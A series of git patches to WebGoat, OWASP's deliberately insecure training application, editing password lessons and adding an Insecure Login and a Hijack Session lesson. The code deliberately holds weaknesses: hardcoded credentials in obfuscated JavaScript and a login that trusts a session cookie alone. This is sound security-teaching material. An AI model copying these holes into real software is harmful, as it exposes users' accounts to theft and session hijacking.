knowledge-based authentication (KBA) are outdated. - Asking a user “What’s the name of your pet?” or something similar to check if it’s really him, is pretty unsecure. +Security questions, also known as knowledge-based authentication (KBA), are outdated. +Asking a user, "What's the name of your pet?" or something similar to check if it's him is pretty insecure. - *no unnecessary changing of passwords* - If you want users to comply and choose long, hard-to-guess passwords, you should not make them change those passwords unnecessarily after a certain period of time. +If you want users to comply and choose long, hard-to-guess passwords, you should not make them change those passwords unnecessarily after a certain period. - *minimum size of 8 characters* + - A secure password nowadays should be at LEAST 8 characters long (up to 64). - This is a minimum, not a maximum minimum! +A secure password nowadays should be at LEAST 8 characters long (up to 64). +This is a minimum, not a maximum-minimum! - *support all UNICODE characters* + - You should allow all kind of UNICODE characters in a password. - This also includes emojis and whitespaces. -- *strength meter* + - Add a strength meter on the password creation page to help the user to choose a strong and secure password. +It would help if you allowed all kinds of UNICODE characters in a password. +This also includes emojis and whitespaces. - *check the password against known bad choices* - * passwords obtained from previous breach corpuses - * dictionary words - * repetitive or sequential characters (e.g. ‘aaaaaa’, ‘1234abcd’) - * context-specific words, such as the name of the service, the username, and derivatives thereof +* passwords obtained from previous breach corpuses +* dictionary words +* repetitive or sequential characters (e.g. 'aaaaaa', '1234abcd') +* context-specific words, such as the name of the service, the username, and derivatives thereof -=== Usability +==== Usability -Besides the recommendations above, the NIST standard also recommends to increase the usability of password forms to increase the likelihood of users choosing a strong and secure password. Some of those are: +Besides the recommendations above, the NIST standard also recommends increasing the usability of password forms to increase the likelihood of users choosing a strong and secure password. Some of those are: - *allow pasting into the password input* + - Users should be able to use the "paste" functionality when entering a password. - Since this facilitates the use of password managers, it also increases the likelihood that the user will choose a strong password. -- *allow to display the password* + - Password inputs should have an option to display the entered password to assist the user in successfully entering a password. +Users should be able to use the "paste" functionality when entering a password. +Since this facilitates the use of password managers, it also increases the likelihood that the user will choose a strong password. +- *allow displaying the password* + +Password inputs should have an option to display the entered password to assist the user in successfully entering a password. - *offer a strength meter* + - Add a strength meter on the password creation page to help the user to choose a strong and secure password. \ No newline at end of file +Add a strength meter on the password creation page to help the user choose a strong and secure password. diff --git a/webgoat-lessons/secure-passwords/src/main/resources/lessonPlans/en/SecurePasswords_3.adoc b/webgoat-lessons/secure-passwords/src/main/resources/lessonPlans/en/SecurePasswords_3.adoc index 128fbb710..513cb7662 100644 --- a/webgoat-lessons/secure-passwords/src/main/resources/lessonPlans/en/SecurePasswords_3.adoc +++ b/webgoat-lessons/secure-passwords/src/main/resources/lessonPlans/en/SecurePasswords_3.adoc @@ -1,19 +1,19 @@ -== Are your passwords secure? +=== Are your passwords secure? What about you? Are your passwords secure? -There are websites that allow to test if one of your accounts got breached in a past data breach. + +There are dedicated websites that allow searching if one of your accounts got breached in a past data breach. + Go to https://haveibeenpwned.com/Passwords[Have I Been Pwned] or https://www.dehashed.com/[DEHASHED] per example and test if your account got breached. If so, better change your passwords *right now*! -=== What can you do to improve security of your account? +==== What can you do to improve the security of your account? - *use different passwords for different accounts* + - It is a good thing to NOT use the same password for multiple accounts but rather to use different passwords for each one. - * *use passphrases* + - Use passphrase generators like https://www.rempe.us/diceware/#eff[Diceware] to generate passphrases. - Passphrases are passwords made out of a number of words instead of randomly generated character sequences. - This makes them way easier to remember for us human beings. And by the way: The longer the better! - * *use a password manager* + - If you can't remember all of your different passwords, use a password manager to create an then securely store your passwords. -- *use two factor authentication* + - If possible, use two factor authentication methods to add an extra layer of security to your accounts. \ No newline at end of file +It is a good thing NOT to use the same password for multiple accounts but rather to use different passwords. +* *use passphrases* + +Use passphrase generators like https://www.rempe.us/diceware/#eff[Diceware] to generate passphrases. +Passphrases are passwords made out of several words instead of randomly generated character sequences. +This makes them way easier to remember for us human beings. And by the way: The longer, the better! +* *use a password manager* + +If you can't remember your different passwords, use a password manager to create and securely store your passwords. +- *use two-factor authentication* + +If possible, use two-factor authentication methods to add an extra layer of security to your accounts. diff --git a/webgoat-lessons/secure-passwords/src/main/resources/lessonPlans/en/SecurePasswords_4.adoc b/webgoat-lessons/secure-passwords/src/main/resources/lessonPlans/en/SecurePasswords_4.adoc index 5b2523689..559198abc 100644 --- a/webgoat-lessons/secure-passwords/src/main/resources/lessonPlans/en/SecurePasswords_4.adoc +++ b/webgoat-lessons/secure-passwords/src/main/resources/lessonPlans/en/SecurePasswords_4.adoc @@ -1,33 +1,32 @@ -== Storing passwords +=== Storing passwords -After a strong and secure password was created, it also has to be stored in a secure way. +After a strong and secure password was created, it also has to be stored securely. The NIST gives recommendations on how applications should handle passwords and how to store them securely. -=== How should a password be stored? +==== How should a password be stored? - first of all: *use encryption and a protected channel for requesting passwords* + - The verifier shall use approved encryption and an authenticated protected channel when requesting memorized secrets - in order to provide resistance to eavesdropping and MitM (Man-in-the-middle) attacks. +The verifier shall use approved encryption and an authenticated protected channel to resist eavesdropping and MitM (Man-in-the-middle) attacks when requesting memorized secrets. - *resistant to offline attacks* + - Passwords should be stored in a form that is resistant to offline attacks. +Passwords should be stored in a form that is resistant to offline attacks. - *use salts* + - Passwords should be salted before storing them. - The salt shall have at least 32 bits in length and should be chosen arbitrarily so as to minimize salt value collisions among stored hashes. +Passwords should be salted before storing them. +The salt shall have at least 32 bits in length and should be chosen arbitrarily to minimize salt value collisions among stored hashes. - *use hashing* + - Before storing a password it should be hashed with a one way key derivation function. - The function takes the password, the salt and a cost factor as inputs and then generates a password hash. + - Examples of suitable key derivation functions: - * Password-based Key Derivation Function 2 (https://pages.nist.gov/800-63-3/sp800-63b.html#SP800-132[PBKDF2]) (as large as possible => at least 10.000 iterations) - * https://pages.nist.gov/800-63-3/sp800-63b.html#SP800-132[BALLOON] - * The key derivation function shall use an approved one-way function such as: - ** Keyed Hash Message Authentication Code (https://pages.nist.gov/800-63-3/sp800-63b.html#FIPS198-1[HMAC]) - ** any approved hash function in https://pages.nist.gov/800-63-3/sp800-63b.html#SP800-107[SP 800-107] - ** Secure Hash Algorithm 3 (https://pages.nist.gov/800-63-3/sp800-63b.html#FIPS202[SHA-3]) - ** https://pages.nist.gov/800-63-3/sp800-63b.html#SP800-38B[CMAC] - ** Keccak Message Authentication Code (KMAC) - ** Customizable SHAKE (cSHAKE) - ** https://pages.nist.gov/800-63-3/sp800-63b.html#SP800-185[ParallelHash] +Before storing a password, it should be hashed with a one-way key derivation function. +The function inputs the password, salt, and cost factor and then generates a password hash. + +Examples of suitable key derivation functions: +* Password-based Key Derivation Function 2 (https://pages.nist.gov/800-63-3/sp800-63b.html#SP800-132[PBKDF2]) (as large as possible => at least 10.000 iterations) +* https://pages.nist.gov/800-63-3/sp800-63b.html#SP800-132[BALLOON] +* The key derivation function shall use an approved one-way function such as: +** Keyed Hash Message Authentication Code (https://pages.nist.gov/800-63-3/sp800-63b.html#FIPS198-1[HMAC]) +** any approved hash function in https://pages.nist.gov/800-63-3/sp800-63b.html#SP800-107[SP 800-107] +** Secure Hash Algorithm 3 (https://pages.nist.gov/800-63-3/sp800-63b.html#FIPS202[SHA-3]) +** https://pages.nist.gov/800-63-3/sp800-63b.html#SP800-38B[CMAC] +** Keccak Message Authentication Code (KMAC) +** Customizable SHAKE (cSHAKE) +** https://pages.nist.gov/800-63-3/sp800-63b.html#SP800-185[ParallelHash] - *memory hard key derivation function* + - Use memory hard key derivation functions to further increase the needed cost to perform attacks. +Use memory-hard key derivation functions to increase the needed cost further to perform attacks. - *high cost factor* + - The cost factor (iteration count) of the key derivation function should be as large as verification server performance will allow. (at least 10.000 iterations) \ No newline at end of file +The key derivation function's cost factor (iteration count) should be as large as verification server performance will allow. (at least 10.000 iterations) diff --git a/webgoat-lessons/secure-passwords/src/main/resources/lessonPlans/en/SecurePasswords_assignment_introduction.adoc b/webgoat-lessons/secure-passwords/src/main/resources/lessonPlans/en/SecurePasswords_assignment_introduction.adoc index 705f8e94b..346459a95 100644 --- a/webgoat-lessons/secure-passwords/src/main/resources/lessonPlans/en/SecurePasswords_assignment_introduction.adoc +++ b/webgoat-lessons/secure-passwords/src/main/resources/lessonPlans/en/SecurePasswords_assignment_introduction.adoc @@ -1,8 +1,8 @@ -== How long could it take to brute force your password? +=== How long could it take to brute force your password? -In this assignment you have to type in a password which is strong enough (at least 4/4). +In this assignment, you have to type in a password that is strong enough (at least 4/4). -After you finished this assignment we highly recommend you to try some of the passwords below to see why they are no good choices: +After you finish this assignment we highly recommend you try some passwords below to see why they are not good choices: * password * johnsmith diff --git a/webgoat-lessons/secure-passwords/src/main/resources/lessonPlans/en/SecurePasswords_intro.adoc b/webgoat-lessons/secure-passwords/src/main/resources/lessonPlans/en/SecurePasswords_intro.adoc index be98460a6..3b35c456f 100644 --- a/webgoat-lessons/secure-passwords/src/main/resources/lessonPlans/en/SecurePasswords_intro.adoc +++ b/webgoat-lessons/secure-passwords/src/main/resources/lessonPlans/en/SecurePasswords_intro.adoc @@ -1,8 +1,7 @@ -== Secure Passwords -In this lesson the user will learn about how to create strong passwords and how to store them in a secure way. -We will take a look at most important recommendations made by the NIST password standard. +In this lesson, the user will learn how to create strong passwords and securely store them. +We will take a look at the most important recommendations made by the NIST password standard. Goals: - The user knows how a strong password should look like and what specifications it should fulfill -- The user has a basic overview of what to pay attention to when developing an application that stores passwords \ No newline at end of file +- The user has a basic overview of what to pay attention to when developing an application that stores passwords From f13632578dd15942fedc40ec29d58c94752415de Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Mon, 15 Nov 2021 21:40:48 +0100 Subject: [PATCH 097/227] Fix layout of assignment and remove duplicate feedback Resolves: #1143 --- .../SecurePasswordsAssignment.java | 1 - .../main/resources/html/SecurePasswords.html | 36 +++++++++---------- 2 files changed, 18 insertions(+), 19 deletions(-) diff --git a/webgoat-lessons/secure-passwords/src/main/java/org/owasp/webgoat/secure_password/SecurePasswordsAssignment.java b/webgoat-lessons/secure-passwords/src/main/java/org/owasp/webgoat/secure_password/SecurePasswordsAssignment.java index ed8d0d3a1..d484ce8e7 100644 --- a/webgoat-lessons/secure-passwords/src/main/java/org/owasp/webgoat/secure_password/SecurePasswordsAssignment.java +++ b/webgoat-lessons/secure-passwords/src/main/java/org/owasp/webgoat/secure_password/SecurePasswordsAssignment.java @@ -69,7 +69,6 @@ public class SecurePasswordsAssignment extends AssignmentEndpoint { output.append("
"); } output.append("Score: " + strength.getScore() + "/4
"); - output.append("Estimated cracking time in seconds: " + calculateTime((long) strength.getCrackTimeSeconds().getOnlineNoThrottling10perSecond())); if (strength.getScore() >= 4) return success(this).feedback("securepassword-success").output(output.toString()).build(); diff --git a/webgoat-lessons/secure-passwords/src/main/resources/html/SecurePasswords.html b/webgoat-lessons/secure-passwords/src/main/resources/html/SecurePasswords.html index e718bf2c7..27c1e076b 100644 --- a/webgoat-lessons/secure-passwords/src/main/resources/html/SecurePasswords.html +++ b/webgoat-lessons/secure-passwords/src/main/resources/html/SecurePasswords.html @@ -22,16 +22,16 @@ method="POST" name="form" action="/WebGoat/SecurePasswords/assignment" autocomplete="off"> -
Were the cookies the same on each tab? The cookies are the same on each tab
- - - - - - - - -
Show password
+ +
+ + Show password +
+
+ +
@@ -47,14 +47,14 @@
From fc6b0f28df085caea862cd83bddd264fa138eae0 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Tue, 16 Nov 2021 14:48:21 +0100 Subject: [PATCH 098/227] Add endpoint for the JavaScript to post to The JavaScript posts to a random endpoint resulting in a HTTP/405 we now post to an existing endpoint. Resolves: #1142 --- .../insecure_login/InsecureLoginTask.java | 16 +++++++++++----- .../src/main/resources/js/credentials.js | 2 +- .../lessonPlans/en/InsecureLogin_Intro.adoc | 6 +++--- .../lessonPlans/en/InsecureLogin_Task.adoc | 4 ++-- 4 files changed, 17 insertions(+), 11 deletions(-) diff --git a/webgoat-lessons/insecure-login/src/main/java/org/owasp/webgoat/insecure_login/InsecureLoginTask.java b/webgoat-lessons/insecure-login/src/main/java/org/owasp/webgoat/insecure_login/InsecureLoginTask.java index 10cb2bc72..2e9b7a26d 100644 --- a/webgoat-lessons/insecure-login/src/main/java/org/owasp/webgoat/insecure_login/InsecureLoginTask.java +++ b/webgoat-lessons/insecure-login/src/main/java/org/owasp/webgoat/insecure_login/InsecureLoginTask.java @@ -24,10 +24,10 @@ package org.owasp.webgoat.insecure_login; import org.owasp.webgoat.assignments.AssignmentEndpoint; import org.owasp.webgoat.assignments.AttackResult; -import org.springframework.web.bind.annotation.PostMapping; -import org.springframework.web.bind.annotation.RequestParam; -import org.springframework.web.bind.annotation.ResponseBody; -import org.springframework.web.bind.annotation.RestController; +import org.springframework.http.HttpStatus; +import org.springframework.web.bind.annotation.*; + +import java.util.Map; @RestController public class InsecureLoginTask extends AssignmentEndpoint { @@ -35,9 +35,15 @@ public class InsecureLoginTask extends AssignmentEndpoint { @PostMapping("/InsecureLogin/task") @ResponseBody public AttackResult completed(@RequestParam String username, @RequestParam String password) { - if (username.toString().equals("CaptainJack") && password.toString().equals("BlackPearl")) { + if ("CaptainJack".equals(username) && "BlackPearl".equals(password)) { return success(this).build(); } return failed(this).build(); } + + @PostMapping("/InsecureLogin/login") + @ResponseStatus(HttpStatus.ACCEPTED) + public void login() { + //only need to exists as the JS needs to call an existing endpoint + } } diff --git a/webgoat-lessons/insecure-login/src/main/resources/js/credentials.js b/webgoat-lessons/insecure-login/src/main/resources/js/credentials.js index b7387c623..5f4e09e09 100755 --- a/webgoat-lessons/insecure-login/src/main/resources/js/credentials.js +++ b/webgoat-lessons/insecure-login/src/main/resources/js/credentials.js @@ -1,6 +1,6 @@ function submit_secret_credentials() { var xhttp = new XMLHttpRequest(); - xhttp['open']('POST', '#attack/307/100', true); + xhttp['open']('POST', 'InsecureLogin/login', true); //sending the request is obfuscated, to descourage js reading var _0xb7f9=["\x43\x61\x70\x74\x61\x69\x6E\x4A\x61\x63\x6B","\x42\x6C\x61\x63\x6B\x50\x65\x61\x72\x6C","\x73\x74\x72\x69\x6E\x67\x69\x66\x79","\x73\x65\x6E\x64"];xhttp[_0xb7f9[3]](JSON[_0xb7f9[2]]({username:_0xb7f9[0],password:_0xb7f9[1]})) } \ No newline at end of file diff --git a/webgoat-lessons/insecure-login/src/main/resources/lessonPlans/en/InsecureLogin_Intro.adoc b/webgoat-lessons/insecure-login/src/main/resources/lessonPlans/en/InsecureLogin_Intro.adoc index bcc3d3ead..a321040c0 100755 --- a/webgoat-lessons/insecure-login/src/main/resources/lessonPlans/en/InsecureLogin_Intro.adoc +++ b/webgoat-lessons/insecure-login/src/main/resources/lessonPlans/en/InsecureLogin_Intro.adoc @@ -1,7 +1,7 @@ -== Concept -Encryption is a very important tool for secure communication. In this lesson, we will find out, why it should always be employed when sending sensitive data. +=== Concept +Encryption is an essential tool for secure communication. In this lesson, we will find out why it should always be employed when sending sensitive data. -== Goals +=== Goals * The user should have a basic understanding of packet sniffer usage * The user will be able to intercept and read unencrypted requests diff --git a/webgoat-lessons/insecure-login/src/main/resources/lessonPlans/en/InsecureLogin_Task.adoc b/webgoat-lessons/insecure-login/src/main/resources/lessonPlans/en/InsecureLogin_Task.adoc index e6e7fea56..5d3c92a85 100755 --- a/webgoat-lessons/insecure-login/src/main/resources/lessonPlans/en/InsecureLogin_Task.adoc +++ b/webgoat-lessons/insecure-login/src/main/resources/lessonPlans/en/InsecureLogin_Task.adoc @@ -1,4 +1,4 @@ === Let's try -Click the "log in" button to send a request containing login credentials of another user. -Then, write these credentials into the appropriate fields and submit to confirm. +Click the "log in" button to send a request containing the login credentials of another user. +Then, write these credentials into the appropriate fields and submit them to confirm. Try using a packet sniffer to intercept the request. From f7dd69e3825c865d21f49f8f9dfb13fc65890409 Mon Sep 17 00:00:00 2001 From: Jeroen Willemsen Date: Tue, 16 Nov 2021 16:38:52 +0100 Subject: [PATCH 099/227] Fix to move to java17 --- README.MD | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.MD b/README.MD index eb4765853..7003814b9 100644 --- a/README.MD +++ b/README.MD @@ -1,7 +1,7 @@ # WebGoat 8: A deliberately insecure Web Application [![Pull request build](https://github.com/WebGoat/WebGoat/actions/workflows/pr_build.yml/badge.svg?branch=develop)](https://github.com/WebGoat/WebGoat/actions/workflows/pr_build.yml) -[![java-jdk](https://img.shields.io/badge/java%20jdk-16-green.svg)](https://jdk.java.net/) +[![java-jdk](https://img.shields.io/badge/java%20jdk-17-green.svg)](https://jdk.java.net/) [![OWASP Labs](https://img.shields.io/badge/owasp-lab%20project-f7b73c.svg)](https://www.owasp.org/index.php/OWASP_Project_Inventory#tab=Labs_Projects) [![GitHub release](https://img.shields.io/github/release/WebGoat/WebGoat.svg)](https://github.com/WebGoat/WebGoat/releases/latest) [![Gitter](https://badges.gitter.im/OWASPWebGoat/community.svg)](https://gitter.im/OWASPWebGoat/community?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge) From 6be9635f519655006bb25a67057952985957f9a0 Mon Sep 17 00:00:00 2001 From: Jeroen Willemsen Date: Tue, 16 Nov 2021 16:41:05 +0100 Subject: [PATCH 100/227] Update OWASP badge --- README.MD | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.MD b/README.MD index 7003814b9..e18582120 100644 --- a/README.MD +++ b/README.MD @@ -2,7 +2,7 @@ [![Pull request build](https://github.com/WebGoat/WebGoat/actions/workflows/pr_build.yml/badge.svg?branch=develop)](https://github.com/WebGoat/WebGoat/actions/workflows/pr_build.yml) [![java-jdk](https://img.shields.io/badge/java%20jdk-17-green.svg)](https://jdk.java.net/) -[![OWASP Labs](https://img.shields.io/badge/owasp-lab%20project-f7b73c.svg)](https://www.owasp.org/index.php/OWASP_Project_Inventory#tab=Labs_Projects) +[![OWASP Labs](https://img.shields.io/badge/OWASP-Lab%20project-f7b73c.svg)](https://owasp.org/projects/) [![GitHub release](https://img.shields.io/github/release/WebGoat/WebGoat.svg)](https://github.com/WebGoat/WebGoat/releases/latest) [![Gitter](https://badges.gitter.im/OWASPWebGoat/community.svg)](https://gitter.im/OWASPWebGoat/community?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge) From ec954046db7af5d5ce9ff9a03ad31843cfb1591a Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Tue, 16 Nov 2021 17:36:07 +0100 Subject: [PATCH 101/227] Add Discussions badge --- README.MD | 1 + 1 file changed, 1 insertion(+) diff --git a/README.MD b/README.MD index e18582120..54fb67444 100644 --- a/README.MD +++ b/README.MD @@ -5,6 +5,7 @@ [![OWASP Labs](https://img.shields.io/badge/OWASP-Lab%20project-f7b73c.svg)](https://owasp.org/projects/) [![GitHub release](https://img.shields.io/github/release/WebGoat/WebGoat.svg)](https://github.com/WebGoat/WebGoat/releases/latest) [![Gitter](https://badges.gitter.im/OWASPWebGoat/community.svg)](https://gitter.im/OWASPWebGoat/community?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge) +[![Discussions](https://img.shields.io/github/discussions/WebGoat/WebGoat)](https://github.com/WebGoat/WebGoat/discussions) # Introduction From dd2e9f074d9feba3425403651f763c9c42644621 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=C3=80ngel=20Oll=C3=A9=20Bl=C3=A1zquez?= Date: Sat, 9 Oct 2021 18:50:21 +0200 Subject: [PATCH 102/227] Hijack Session Lesson --- .../owasp/webgoat/SessionManagementTest.java | 47 +++++++ webgoat-lessons/hijack-session/pom.xml | 58 +++++++++ .../webgoat/hijacksession/HijackSession.java | 48 ++++++++ .../HijackSessionAssignment.java | 92 ++++++++++++++ .../hijacksession/cas/Authentication.java | 67 ++++++++++ .../cas/AuthenticationProvider.java | 39 ++++++ .../HijackSessionAuthenticationProvider.java | 100 +++++++++++++++ .../main/resources/html/HijackSession.html | 30 +++++ .../resources/i18n/WebGoatLabels.properties | 7 ++ .../en/HijackSession_content0.adoc | 4 + .../lessonPlans/en/HijackSession_plan.adoc | 10 ++ .../en/HijackSession_solution.adoc | 93 ++++++++++++++ .../lessonSolutions/html/HijackSession.html | 14 +++ .../main/resources/templates/hijackform.html | 24 ++++ .../HijackSessionAssignmentTest.java | 108 ++++++++++++++++ ...jackSessionAuthenticationProviderTest.java | 116 ++++++++++++++++++ webgoat-lessons/pom.xml | 2 +- webgoat-server/pom.xml | 5 + 18 files changed, 863 insertions(+), 1 deletion(-) create mode 100644 webgoat-integration-tests/src/test/java/org/owasp/webgoat/SessionManagementTest.java create mode 100644 webgoat-lessons/hijack-session/pom.xml create mode 100644 webgoat-lessons/hijack-session/src/main/java/org/owasp/webgoat/hijacksession/HijackSession.java create mode 100644 webgoat-lessons/hijack-session/src/main/java/org/owasp/webgoat/hijacksession/HijackSessionAssignment.java create mode 100644 webgoat-lessons/hijack-session/src/main/java/org/owasp/webgoat/hijacksession/cas/Authentication.java create mode 100644 webgoat-lessons/hijack-session/src/main/java/org/owasp/webgoat/hijacksession/cas/AuthenticationProvider.java create mode 100644 webgoat-lessons/hijack-session/src/main/java/org/owasp/webgoat/hijacksession/cas/HijackSessionAuthenticationProvider.java create mode 100644 webgoat-lessons/hijack-session/src/main/resources/html/HijackSession.html create mode 100644 webgoat-lessons/hijack-session/src/main/resources/i18n/WebGoatLabels.properties create mode 100644 webgoat-lessons/hijack-session/src/main/resources/lessonPlans/en/HijackSession_content0.adoc create mode 100644 webgoat-lessons/hijack-session/src/main/resources/lessonPlans/en/HijackSession_plan.adoc create mode 100644 webgoat-lessons/hijack-session/src/main/resources/lessonSolutions/en/HijackSession_solution.adoc create mode 100644 webgoat-lessons/hijack-session/src/main/resources/lessonSolutions/html/HijackSession.html create mode 100644 webgoat-lessons/hijack-session/src/main/resources/templates/hijackform.html create mode 100644 webgoat-lessons/hijack-session/src/test/java/org/owasp/webgoat/hijacksession/HijackSessionAssignmentTest.java create mode 100644 webgoat-lessons/hijack-session/src/test/java/org/owasp/webgoat/hijacksession/cas/HijackSessionAuthenticationProviderTest.java diff --git a/webgoat-integration-tests/src/test/java/org/owasp/webgoat/SessionManagementTest.java b/webgoat-integration-tests/src/test/java/org/owasp/webgoat/SessionManagementTest.java new file mode 100644 index 000000000..458febbb8 --- /dev/null +++ b/webgoat-integration-tests/src/test/java/org/owasp/webgoat/SessionManagementTest.java @@ -0,0 +1,47 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2021 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source + * ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat; + +import java.util.Map; + +import org.junit.jupiter.api.Test; + +/** + * + * @author Angel Olle Blazquez + * + */ + +class SessionManagementTest extends IntegrationTest { + + private static final String HIJACK_LOGIN_CONTEXT_PATH = "/HijackSession/login"; + + + @Test + void hijackSessionTest() { + startLesson("HijackSession"); + + checkAssignment(HIJACK_LOGIN_CONTEXT_PATH, Map.of("username", "webgoat", "password", "webgoat"), false); + } +} diff --git a/webgoat-lessons/hijack-session/pom.xml b/webgoat-lessons/hijack-session/pom.xml new file mode 100644 index 000000000..484f96692 --- /dev/null +++ b/webgoat-lessons/hijack-session/pom.xml @@ -0,0 +1,58 @@ + + 4.0.0 + hijack-session + jar + + org.owasp.webgoat.lesson + webgoat-lessons-parent + 8.2.3-SNAPSHOT + + + + 0.8.7 + + + + + + coverage + + false + + + + + org.jacoco + jacoco-maven-plugin + ${jacoco.version} + + + default-prepare-agent + + prepare-agent + + + + default-report + verify + + report + + + ${project.build.directory}/jacoco.exec + ${project.reporting.outputDirectory}/jacoco + + **/HijackSession.* + + + + + + + + + + + diff --git a/webgoat-lessons/hijack-session/src/main/java/org/owasp/webgoat/hijacksession/HijackSession.java b/webgoat-lessons/hijack-session/src/main/java/org/owasp/webgoat/hijacksession/HijackSession.java new file mode 100644 index 000000000..a03929754 --- /dev/null +++ b/webgoat-lessons/hijack-session/src/main/java/org/owasp/webgoat/hijacksession/HijackSession.java @@ -0,0 +1,48 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2021 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source + * ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.hijacksession; + +import org.owasp.webgoat.lessons.Category; +import org.owasp.webgoat.lessons.Lesson; +import org.springframework.stereotype.Component; + +/*** + * + * @author Angel Olle Blazquez + * + */ + +@Component +public class HijackSession extends Lesson { + + @Override + public Category getDefaultCategory() { + return Category.SESSION_MANAGEMENT; + } + + @Override + public String getTitle() { + return "hijacksession.title"; + } +} diff --git a/webgoat-lessons/hijack-session/src/main/java/org/owasp/webgoat/hijacksession/HijackSessionAssignment.java b/webgoat-lessons/hijack-session/src/main/java/org/owasp/webgoat/hijacksession/HijackSessionAssignment.java new file mode 100644 index 000000000..0500f3e7f --- /dev/null +++ b/webgoat-lessons/hijack-session/src/main/java/org/owasp/webgoat/hijacksession/HijackSessionAssignment.java @@ -0,0 +1,92 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2021 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.hijacksession; + +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletResponse; + +import org.apache.commons.lang3.StringUtils; +import org.owasp.webgoat.assignments.AssignmentEndpoint; +import org.owasp.webgoat.assignments.AssignmentHints; +import org.owasp.webgoat.assignments.AttackResult; +import org.owasp.webgoat.hijacksession.cas.Authentication; +import org.owasp.webgoat.hijacksession.cas.HijackSessionAuthenticationProvider; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.CookieValue; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/*** + * + * @author Angel Olle Blazquez + * + */ + +@RestController +@AssignmentHints({ + "hijacksession.hints.1", + "hijacksession.hints.2", + "hijacksession.hints.3", + "hijacksession.hints.4", + "hijacksession.hints.5" +}) +public class HijackSessionAssignment extends AssignmentEndpoint { + + private static final String COOKIE_NAME = "hijack_cookie"; + + @Autowired + HijackSessionAuthenticationProvider provider; + + @PostMapping(path = "/HijackSession/login") + @ResponseBody + public AttackResult login( + @RequestParam String username, + @RequestParam String password, + @CookieValue(value = COOKIE_NAME, required = false) String cookieValue, + HttpServletResponse response) { + + Authentication authentication; + if (StringUtils.isEmpty(cookieValue)) { + authentication = provider.authenticate(Authentication.builder().name(username).credentials(password).build()); + setCookie(response, authentication.getId()); + } else { + authentication = provider.authenticate(Authentication.builder().id(cookieValue).build()); + } + + if (authentication.isAuthenticated()) { + return success(this).build(); + } + + return failed(this).build(); + } + + private void setCookie(HttpServletResponse response, String cookieValue) { + Cookie cookie = new Cookie(COOKIE_NAME, cookieValue); + cookie.setPath("/WebGoat"); + cookie.setSecure(true); + response.addCookie(cookie); + } + +} diff --git a/webgoat-lessons/hijack-session/src/main/java/org/owasp/webgoat/hijacksession/cas/Authentication.java b/webgoat-lessons/hijack-session/src/main/java/org/owasp/webgoat/hijacksession/cas/Authentication.java new file mode 100644 index 000000000..2ee9e069a --- /dev/null +++ b/webgoat-lessons/hijack-session/src/main/java/org/owasp/webgoat/hijacksession/cas/Authentication.java @@ -0,0 +1,67 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2021 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source + * ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.hijacksession.cas; + +import java.security.Principal; + 